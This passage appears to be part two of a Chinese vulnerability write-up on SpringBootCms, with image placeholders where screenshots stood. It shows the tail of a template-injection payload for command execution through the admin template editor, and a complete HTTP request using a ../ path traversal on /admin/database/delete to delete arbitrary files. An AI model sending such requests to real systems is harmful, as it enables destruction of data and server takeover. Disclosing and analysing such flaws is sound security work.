SpringBootCms( 二 )


output +=line;
}
response.setHeader("Content",output);
}
重启项目后,发送路由信息

SpringBootCms

文章插图
com.cms.controller.admin.TemplateController#update
SpringBootCms

文章插图
漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验 , 可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除
构造数据包
GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/85.0.4183.83Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close
SpringBootCms

文章插图
com.cms.controller.admin.DatabaseController#delete
SpringBootCms

文章插图
com.cms.utils.BackupUtils#delete
SpringBootCms

文章插图




推荐阅读